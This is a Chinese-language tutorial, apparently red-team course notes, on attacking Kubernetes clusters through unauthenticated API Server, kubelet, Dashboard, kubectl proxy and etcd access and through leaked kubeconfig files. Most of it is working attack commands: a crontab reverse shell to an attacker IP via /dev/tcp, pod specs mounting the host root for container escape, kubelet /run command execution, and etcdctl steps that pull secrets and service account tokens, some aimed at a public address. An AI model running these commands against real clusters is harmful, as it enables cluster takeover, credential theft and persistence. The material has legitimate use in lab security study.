云上攻防-云原生篇&Kubernetes集群&Etcd存储&Dashboard面板&Porxy暴漏&Config泄露
➢ 云上攻防-Docker容器-特权模式&危险挂载&逃逸
➢ 云上攻防-Docker容器-系统内核&版本漏洞&CDK
➢ 云上攻防-Docker容器-系统内核&API接口&敏感挂载
➢ 云上攻防-Docker容器-构建制作&不安全镜像&三方组件
➢ 云上攻防-K8s容器-环境搭建&架构模型&安全攻击
➢ 云上攻防-K8s容器-未授权访问&APIServer&Kubelet
➢ 云上攻防-K8s容器-未授权访问&Etcd&Dashboard
➢ 云上攻防-K8s容器-Proxy端点暴漏&Config文件泄露
#K8S集群架构解释(见上图参考)
Kubernetes是一个开源的,用于编排云平台中多个主机上的容器化的应用,目标是让部署容器化的应用能简单并且高效的使用, 提供了应用部署,规划,更新,维护的一种机制。其核心的特点就是能够自主的管理容器来保证云平台中的容器按照用户的期望状态运行着,管理员可以加载一个微型服务,让规划器来找到合适的位置,同时,Kubernetes在系统提升工具以及人性化方面,让用户能够方便的部署自己的应用。
1、Master终端
2、Node节点
3、Pod业务
k8s 主要由以下核心组件组成:
etcd
保存了整个集群的状态
API Server
资源操作的唯一入口,并提供认证、授权、访问控制、API 注册和发现等机制
Controller Manager
负责维护集群的状态,比如故障检测、自动扩展、滚动更新等
Scheduler
负责资源的调度,按照预定的调度策略将 Pod 调度到相应的机器上
Kubelet
负责维护容器的生命周期,同时也负责Volume(CVI)和网络(CNI)的管理
Container Runtime
负责镜像管理以及 Pod 和容器的真正运行(CRI)
Kube-proxy
负责为 Service 提供 Cluster 内部的服务发现和负载均衡
具体参考:https://blog.csdn.net/qq_34101364/article/details/122506768
#K8S集群攻击点(见上图参考)-重点
随着越来越多企业开始上云的步伐,在攻防演练中常常碰到云相关的场景,例:公有云、私有云、混合云、虚拟化集群等。以往渗透路径「外网突破->提权->权限维持->信息收集->横向移动->循环收集信息」,直到获得重要目标系统。但随着业务上云以及虚拟化技术的引入改变了这种格局,也打开了新的入侵路径,例如:
1、通过虚拟机攻击云管理平台,利用管理平台控制所有机器
2、通过容器进行逃逸,从而控制宿主机以及横向渗透到K8s Master节点控制所有容器
3、利用KVM-QEMU/执行逃逸获取宿主机,进入物理网络横向移动控制云平台
目前互联网上针对云原生场景下的攻击手法零零散散的较多,仅有一些厂商发布过相关矩阵技术,但没有过多的细节展示,本文基于微软发布的Kubernetes威胁矩阵进行扩展,介绍相关的具体攻击方法。
详细攻击点参考:
https://mp.weixin.qq.com/s/yQoqozJgP8F-ad24xgzIPw
https://mp.weixin.qq.com/s/QEuQa0KVwykrMzOPdgEHMQ
#API Server未授权访问&kubelet未授权访问复现
搭建环境使用3台Centos 7,参考:(可看搭建录像)
https://www.jianshu.com/p/25c01cae990c
https://blog.csdn.net/fly910905/article/details/120887686
一个集群包含三个节点,其中包括一个控制节点和两个工作节点
K8s-master 192.168.139.130
K8s-node1 192.168.139.131
K8s-node2 192.168.139.132
1、攻击8080端口:API Server未授权访问
旧版本的k8s的API Server默认会开启两个端口:8080和6443。
6443是安全端口,安全端口使用TLS加密;但是8080端口无需认证,
仅用于测试。6443端口需要认证,且有 TLS 保护。(k8s<1.16.0)
新版本k8s默认已经不开启8080。需要更改相应的配置
利用条件
1、Kubernetes版本小于 v1.20
2、8080端口可访问(配置不当)
cd /etc/kubernetes/manifests/
- --insecure-port=8080
- --insecure-bind-address=0.0.0.0
kubectl.exe -s 192.168.139.130:8080 get nodes
kubectl.exe -s 192.168.139.130:8080 get pods
kubectl -s 192.168.139.130:8080 create -f test.yaml
kubectl -s 192.168.139.130:8080 --namespace=default exec -it test bash
echo -e "* * * * * root bash -i >& /dev/tcp/192.168.139.128/4444 0>&1\n" >> /mnt/etc/crontab
2、攻击6443端口:API Server未授权访问
一些集群由于鉴权配置不当,将"system:anonymous"用户绑定到"cluster-admin"用户组,从而使6443端口允许匿名用户以管理员权限向集群内部下发指令。
kubectl create clusterrolebinding system:anonymous --clusterrole=cluster-admin --user=system:anonymous
-创建恶意pods
https://192.168.139.130:6443/api/v1/namespaces/default/pods/
POST:{"apiVersion":"v1","kind":"Pod","metadata":{"annotations":{"kubectl.kubernetes.io/last-applied-configuration":"{\"apiVersion\":\"v1\",\"kind\":\"Pod\",\"metadata\":{\"annotations\":{},\"name\":\"test02\",\"namespace\":\"default\"},\"spec\":{\"containers\":[{\"image\":\"nginx:1.14.2\",\"name\":\"test02\",\"volumeMounts\":[{\"mountPath\":\"/host\",\"name\":\"host\"}]}],\"volumes\":[{\"hostPath\":{\"path\":\"/\",\"type\":\"Directory\"},\"name\":\"host\"}]}}\n"},"name":"test02","namespace":"default"},"spec":{"containers":[{"image":"nginx:1.14.2","name":"test02","volumeMounts":[{"mountPath":"/host","name":"host"}]}],"volumes":[{"hostPath":{"path":"/","type":"Directory"},"name":"host"}]}}
-连接判断pods
kubectl --insecure-skip-tls-verify -s https://192.168.139.130:6443 get pods
-连接执行pods
kubectl --insecure-skip-tls-verify -s https://192.168.139.130:6443 --namespace=default exec -it test02 bash
-上述一样
3、攻击10250端口:kubelet未授权访问
https://192.168.139.130:10250/pods
/var/lib/kubelet/config.yaml
修改authentication的anonymous为true,
将authorization mode修改为AlwaysAllow,
重启kubelet进程-systemctl restart kubelet
-利用执行命令这里需要三个参数
namespace kube-system
pod kube-scheduler-master-1
container kube-scheduler
-访问获取:
https://192.168.139.132:10250/runningpods/
-执行模版:
curl -XPOST -k "https://192.168.139.132:10250/run/<namespace>/<pod>/<container>" -d "cmd=id"
-构造触发:
https://192.168.139.132:10250/run/default/test02/test02
curl -XPOST -k "https://192.168.139.132:10250/run/default/test02/test02" -d "cmd=id"
#Dashboard未授权访问
默认端口:8001
配置不当导致dashboard未授权访问,通过dashboard我们可以控制整个集群。
kubernetes dashboard的未授权其实分两种情况:
一种是在本身就存在着不需要登录的http接口,但接口本身并不会暴露出来,如接口被暴露在外,就会导致dashboard未授权。另外一种情况则是开发嫌登录麻烦,修改了配置文件,使得安全接口https的dashboard页面可以跳过登录。
*复现利用:
*用户开启enable-skip-login时可以在登录界面点击跳过登录进dashboard
*Kubernetes-dashboard绑定cluster-admin(拥有管理集群的最高权限)
1、安装:https://blog.csdn.net/justlpf/article/details/130718774
2、启动:kubectl create -f recommended.yaml
3、卸载:kubectl delete -f recommended.yaml
4、查看:kubectl get pod,svc -n kubernetes-dashboard
5、利用:新增Pod后续同前面利用一致
*找到暴露面板->dashboard跳过-创建或上传pod->进入执行-利用挂载逃逸
apiVersion: v1
kind: Pod
metadata:
name: xiaodisec
spec:
containers:
- image: nginx
name: xiaodisec
volumeMounts:
- mountPath: /mnt
name: test-volume
volumes:
- name: test-volume
hostPath:
path: /
#Proxy不安全配置
当运维人员需要某个环境暴露端口或者IP时,会用到Kubectl Proxy
使用kubectl proxy命令就可以使API server监听在本地的xxxx端口上
环境搭建:
kubectl --insecure-skip-tls-verify proxy --accept-hosts=^.*$ --address=0.0.0.0 --port=8009
*复现利用:
*类似不需认证的服务应用只能本地访问被代理出去后形成了外部攻击入口点。
*找到暴露入口点,根据类型选择合适方案
kubectl -s http://47.83.10.24:8009 get pods -n kube-system
#Config鉴权文件泄漏
攻击者通过Webshell、Github等拿到了K8s配置的Config文件,操作集群,从而接管所有容器。K8s configfile作为K8s集群的管理凭证,其中包含有关K8s集群的详细信息(API Server、登录凭证)。如果攻击者能够访问到此文件(如办公网员工机器入侵、泄露到Github的代码等),就可以直接通过API Server接管K8s集群,带来风险隐患。用户凭证保存在kubeconfig文件中,通过以下顺序来找到kubeconfig文件:
-如果提供了--kubeconfig参数,就使用提供的kubeconfig文件
-如果没有提供--kubeconfig参数,但设置了环境变量$KUBECONFIG,则使用该环境变量提供的kubeconfig文件
-如果以上两种情况都没有,kubectl就使用默认的kubeconfig文件~/root/.kube/config
*复现利用:
*K8s-configfile->创建Pod/挂载路径->Kubectl进入容器->利用挂载逃逸
1、将获取到的config复制
2、安装kubectl使用config连接
安装:https://kubernetes.io/zh-cn/docs/tasks/tools/install-kubectl-linux
连接:kubectl -s https://47.83.10.24:6443/ --kubeconfig=config --insecure-skip-tls-verify=true get nodes
3、上传利用test.yaml创建pod
kubectl -s https://47.83.10.24:6443/ --kubeconfig=config --insecure-skip-tls-verify=true apply -f test.yaml -n default --kubeconfig=config
4、连接pod后进行容器挂载逃逸
kubectl -s https://47.83.10.24:6443/ --kubeconfig=config --insecure-skip-tls-verify=true exec -it xiaodisec bash -n default --kubeconfig=config
5、后续同前面一致
#etcd未授权访问
攻击2379端口:默认通过证书认证,主要存放节点数据,如token和证书。
第一种:没有配置指定--client-cert-auth 参数打开证书校验,暴露在外Etcd服务存在未授权访问风险。
-暴露外部可以访问,直接未授权访问获取secrets和token利用
第二种:在打开证书校验选项后,通过本地127.0.0.1:2379可免认证访问Etcd服务,但通过其他地址访问要携带cert进行认证访问,一般配合ssrf或其他利用,较为鸡肋。
-只能本地访问,直接未授权访问获取secrets和token利用
第三种:实战中在安装k8s默认的配置2379只会监听本地,如果访问没设置0.0.0.0暴露,那么也就意味着最多就是本地访问,不能公网访问,只能配合ssrf或其他。
-只能本地访问,利用ssrf或其他进行获取secrets和token利用
复现搭建:
修改/etc/kubernetes/manifests/etcd.yaml
重启服务:systemctl restart kubelet.service
安装etcdctl:
安装kubectl:kubernetes.io/zh-cn/docs/tasks/tools/install-kubectl-linux
*复现利用:
*暴露etcd未授权->获取secrets&token->通过访问API-Server接管
*SSRF绕限制访问->获取secrets&token->通过token访问API-Server
*V2/V3版本利用参考:https://www.cnblogs.com/qtzd/p/k8s_etcd.html
利用参考:
https://www.wangan.com/p/7fy7f81f02d9563a
https://www.cnblogs.com/qtzd/p/k8s_etcd.html
V2版本利用:
直接访问http://ip:2379/v2/keys/?recursive=true ,
可以看到所有的key-value值。(secrets token)
V3版本利用:
1、连接提交测试
./etcdctl --endpoints=192.168.139.136:23791 get / --prefix
./etcdctl --endpoints=192.168.139.136:23791 put /testdir/testkey1 "Hello world1"
./etcdctl --endpoints=192.168.139.136:23791 put /testdir/testkey2 "Hello world2"
./etcdctl --endpoints=192.168.139.136:23791 put /testdir/testkey3 "Hello world3"
2、获取k8s的secrets:
./etcdctl --endpoints=192.168.139.136:23791 get / --prefix --keys-only | grep /secrets/
3、读取service account token:
./etcdctl --endpoints=192.168.139.136:23791 get / --prefix --keys-only | grep /secrets/kube-system/clusterrole
./etcdctl --endpoints=192.168.139.136:23791 get /registry/secrets/kube-system/clusterrole-aggregation-controller-token-jdp5z
4、通过token访问API-Server,获取集群的权限:
kubectl --insecure-skip-tls-verify -s https://127.0.0.1:6443/ --token="ey..." -n kube-system get pods